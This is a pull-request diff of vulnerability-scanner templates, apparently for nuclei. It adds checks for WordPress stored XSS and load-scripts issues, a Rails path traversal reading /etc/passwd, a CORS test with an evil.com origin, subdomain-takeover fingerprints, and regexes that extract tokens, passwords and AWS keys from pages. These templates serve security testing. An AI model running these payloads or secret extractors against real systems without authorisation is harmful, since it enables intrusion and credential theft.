Merge pull request #86 from Nadino92/master
improvements across multiple templates and new additionspatch-1
commit
0a564274ac
|
@ -0,0 +1,17 @@
|
||||||
|
id: CVE-2018-18069
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: Wordpress unauthenticated stored xss
|
||||||
|
author: nadino
|
||||||
|
severity: medium
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: POST
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/wp-admin/admin.php"
|
||||||
|
body: 'icl_post_action=save_theme_localization&locale_file_name_en=EN\"><html xmlns=\"hacked'
|
||||||
|
|
||||||
|
matchers:
|
||||||
|
- type: dsl
|
||||||
|
dsl:
|
||||||
|
- 'status_code==302 && contains(set_cookie, "_icl_current_admin_language")'
|
|
@ -0,0 +1,16 @@
|
||||||
|
id: CVE-2018-6389
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: Wordpress Load Script
|
||||||
|
author: nadino
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: GET
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/wp-admin/load-scripts.php?load="
|
||||||
|
matchers:
|
||||||
|
- type: dsl
|
||||||
|
dsl:
|
||||||
|
- 'contains(x_powered_by,"Engine")'
|
||||||
|
- 'contains(content_type,"javascript")'
|
|
@ -5,13 +5,13 @@ info:
|
||||||
author: omarkurt
|
author: omarkurt
|
||||||
severity: medium
|
severity: medium
|
||||||
#reference: https://github.com/omarkurt/CVE-2019-5418
|
#reference: https://github.com/omarkurt/CVE-2019-5418
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}"
|
- "{{BaseURL}}"
|
||||||
headers:
|
headers:
|
||||||
Accept: ../../../../../../../../etc/passwd{{
|
Accept: ../../../../../../../../etc/passwd
|
||||||
matchers:
|
matchers:
|
||||||
- type: status
|
- type: status
|
||||||
status:
|
status:
|
||||||
|
|
|
@ -0,0 +1,32 @@
|
||||||
|
id: general-tokens
|
||||||
|
|
||||||
|
#this will create a huge load of false positive
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: General Tokens
|
||||||
|
author: nadino
|
||||||
|
severity: medium
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: GET
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}"
|
||||||
|
matchers:
|
||||||
|
- type: dsl
|
||||||
|
dsl:
|
||||||
|
- 'regex("TOKEN[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any TOKEN word
|
||||||
|
- 'regex("API[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any API word
|
||||||
|
- 'regex("KEY[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any KEY word
|
||||||
|
- 'regex("SECRET[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any SECRET word
|
||||||
|
- 'regex("AUTHORIZATION[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any AUTHORIZATION word
|
||||||
|
- 'regex("PASSWORD[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any PASSWORD word
|
||||||
|
extractors:
|
||||||
|
- type: regex
|
||||||
|
part: body
|
||||||
|
regex:
|
||||||
|
- "(T|t)(O|o)(K|k)(E|e)(N|n)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)+( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
|
||||||
|
- "(A|a)(P|p)(Ii)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
|
||||||
|
- "(K|k)(E|e)(Y|y)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
|
||||||
|
- "(S|s)(E|e)(C|c)(R|r)(E|e)(T|t)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
|
||||||
|
- "(A|a)(U|u)(T|t)(H|h)(O|o)(R|r)(I|i)(Z|z)(A|a)(T|t)(I|i)(O|o)(N|n)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
|
||||||
|
- "(P|p)(A|a)(S|s)(S|s)(W|w)(O|o)(R|r)(D|d)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
|
|
@ -0,0 +1,19 @@
|
||||||
|
id: General XSS
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: General XSS
|
||||||
|
author: nadino
|
||||||
|
severity: medium
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: GET
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}"
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
words:
|
||||||
|
- 'a''"><injectable>'
|
||||||
|
part: body
|
||||||
|
- type: dsl
|
||||||
|
dsl:
|
||||||
|
- 'contains(content_type,"html")'
|
|
@ -0,0 +1,15 @@
|
||||||
|
id: crxde
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: CRXDE Lite
|
||||||
|
author: nadino
|
||||||
|
severity: medium
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: GET
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/crx/de/index.jsp"
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
words:
|
||||||
|
- "<title>CRXDE Lite</title>"
|
|
@ -8,7 +8,7 @@ info:
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/"
|
- "{{BaseURL}}"
|
||||||
headers:
|
headers:
|
||||||
Origin: https://evil.com
|
Origin: https://evil.com
|
||||||
matchers:
|
matchers:
|
||||||
|
|
|
@ -8,7 +8,7 @@ info:
|
||||||
# Update this list with new takeovers matchers
|
# Update this list with new takeovers matchers
|
||||||
# Do not delete other template files for takeover
|
# Do not delete other template files for takeover
|
||||||
# https://github.com/EdOverflow/can-i-take-over-xyz
|
# https://github.com/EdOverflow/can-i-take-over-xyz
|
||||||
# You need to claim the cname the subdomain to confirm the takeover.
|
# You need to claim the cname the subdomain to confirm the takeover.
|
||||||
# Do not report this without claiming the cname.
|
# Do not report this without claiming the cname.
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
|
@ -22,17 +22,17 @@ requests:
|
||||||
name: pantheon.io
|
name: pantheon.io
|
||||||
words:
|
words:
|
||||||
- "The gods are wise, but do not know of the site which you seek."
|
- "The gods are wise, but do not know of the site which you seek."
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: aws-s3-bucket
|
name: aws-s3-bucket
|
||||||
words:
|
words:
|
||||||
- "The specified bucket does not exist"
|
- "The specified bucket does not exist"
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: anima
|
name: anima
|
||||||
words:
|
words:
|
||||||
- "If this is your website and you've just created it, try refreshing in a minute"
|
- "If this is your website and you've just created it, try refreshing in a minute"
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: ghost
|
name: ghost
|
||||||
words:
|
words:
|
||||||
|
@ -68,6 +68,12 @@ requests:
|
||||||
- ngrok.io not found
|
- ngrok.io not found
|
||||||
- Tunnel *.ngrok.io not found
|
- Tunnel *.ngrok.io not found
|
||||||
|
|
||||||
|
- type: word
|
||||||
|
name: tumblr
|
||||||
|
words:
|
||||||
|
- Whatever you were looking for doesn't currently exist at this address.
|
||||||
|
- There's nothing here.
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: github
|
name: github
|
||||||
words:
|
words:
|
||||||
|
@ -277,57 +283,57 @@ requests:
|
||||||
name: readme
|
name: readme
|
||||||
words:
|
words:
|
||||||
- Project doesnt exist... yet!
|
- Project doesnt exist... yet!
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: smugmug
|
name: smugmug
|
||||||
words:
|
words:
|
||||||
- '{"text":"Page Not Found"'
|
- '{"text":"Page Not Found"'
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: airee
|
name: airee
|
||||||
words:
|
words:
|
||||||
- Ошибка 402. Сервис Айри.рф не оплачен
|
- Ошибка 402. Сервис Айри.рф не оплачен
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: kinsta
|
name: kinsta
|
||||||
words:
|
words:
|
||||||
- No Site For Domain
|
- No Site For Domain
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: launchrock
|
name: launchrock
|
||||||
words:
|
words:
|
||||||
- It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
|
- It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
|
||||||
to all of us.
|
to all of us.
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: Strikingly
|
name: Strikingly
|
||||||
words:
|
words:
|
||||||
- But if you're looking to build your own website
|
- But if you're looking to build your own website
|
||||||
- you've come to the right place.
|
- you've come to the right place.
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: HatenaBlog
|
name: HatenaBlog
|
||||||
words:
|
words:
|
||||||
- 404 Blog is not found
|
- 404 Blog is not found
|
||||||
- Sorry, we can't find the page you're looking for.
|
- Sorry, we can't find the page you're looking for.
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: wufoo
|
name: wufoo
|
||||||
words:
|
words:
|
||||||
- Profile not found
|
- Profile not found
|
||||||
- Hmmm....something is not right.
|
- Hmmm....something is not right.
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: hubspot
|
name: hubspot
|
||||||
words:
|
words:
|
||||||
- Domain not found
|
- Domain not found
|
||||||
- does not exist in our system
|
- does not exist in our system
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: jazzhr
|
name: jazzhr
|
||||||
words:
|
words:
|
||||||
- This account no longer active
|
- This account no longer active
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: smartjob
|
name: smartjob
|
||||||
words:
|
words:
|
||||||
|
@ -339,19 +345,19 @@ requests:
|
||||||
name: Uptimerobot
|
name: Uptimerobot
|
||||||
regex:
|
regex:
|
||||||
- "^page not found$"
|
- "^page not found$"
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: agile
|
name: agile
|
||||||
words:
|
words:
|
||||||
- Sorry, this page is no longer available.
|
- Sorry, this page is no longer available.
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: pingdom
|
name: pingdom
|
||||||
words:
|
words:
|
||||||
- Public Report Not Activated
|
- Public Report Not Activated
|
||||||
- This public report page has not been activated by the user
|
- This public report page has not been activated by the user
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
name: zendesk
|
name: zendesk
|
||||||
words:
|
words:
|
||||||
- this help center no longer exists
|
- this help center no longer exists
|
||||||
|
|
|
@ -1,22 +1,22 @@
|
||||||
id: amazon-mws-auth-token-value
|
id: amazon-mws-auth-token-value
|
||||||
info:
|
info:
|
||||||
author: puzzlepeaches
|
author: puzzlepeaches
|
||||||
name: "Amazon MWS Auth Token"
|
name: "Amazon MWS Auth Token"
|
||||||
severity: medium
|
severity: medium
|
||||||
requests:
|
requests:
|
||||||
-
|
-
|
||||||
extractors:
|
extractors:
|
||||||
-
|
-
|
||||||
part: body
|
part: body
|
||||||
regex:
|
regex:
|
||||||
- "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
|
- "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
|
||||||
type: regex
|
type: regex
|
||||||
matchers:
|
matchers:
|
||||||
-
|
-
|
||||||
part: body
|
part: body
|
||||||
regex:
|
regex:
|
||||||
- "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
|
- "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
|
||||||
type: regex
|
type: regex
|
||||||
method: GET
|
method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/"
|
- "{{BaseURL}}"
|
||||||
|
|
|
@ -8,7 +8,7 @@ info:
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/"
|
- "{{BaseURL}}"
|
||||||
matchers:
|
matchers:
|
||||||
- type: regex
|
- type: regex
|
||||||
part: body
|
part: body
|
||||||
|
@ -18,4 +18,4 @@ requests:
|
||||||
- type: regex
|
- type: regex
|
||||||
part: body
|
part: body
|
||||||
regex:
|
regex:
|
||||||
- "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
|
- "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
|
||||||
|
|
|
@ -8,7 +8,7 @@ info:
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/"
|
- "{{BaseURL}}"
|
||||||
matchers:
|
matchers:
|
||||||
- type: regex
|
- type: regex
|
||||||
part: body
|
part: body
|
||||||
|
|
|
@ -8,7 +8,7 @@ info:
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/"
|
- "{{BaseURL}}"
|
||||||
matchers:
|
matchers:
|
||||||
- type: regex
|
- type: regex
|
||||||
part: body
|
part: body
|
||||||
|
|
|
@ -11,7 +11,7 @@ info:
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/"
|
- "{{BaseURL}}"
|
||||||
matchers:
|
matchers:
|
||||||
- type: regex
|
- type: regex
|
||||||
part: body
|
part: body
|
||||||
|
|
Loading…
Reference in New Issue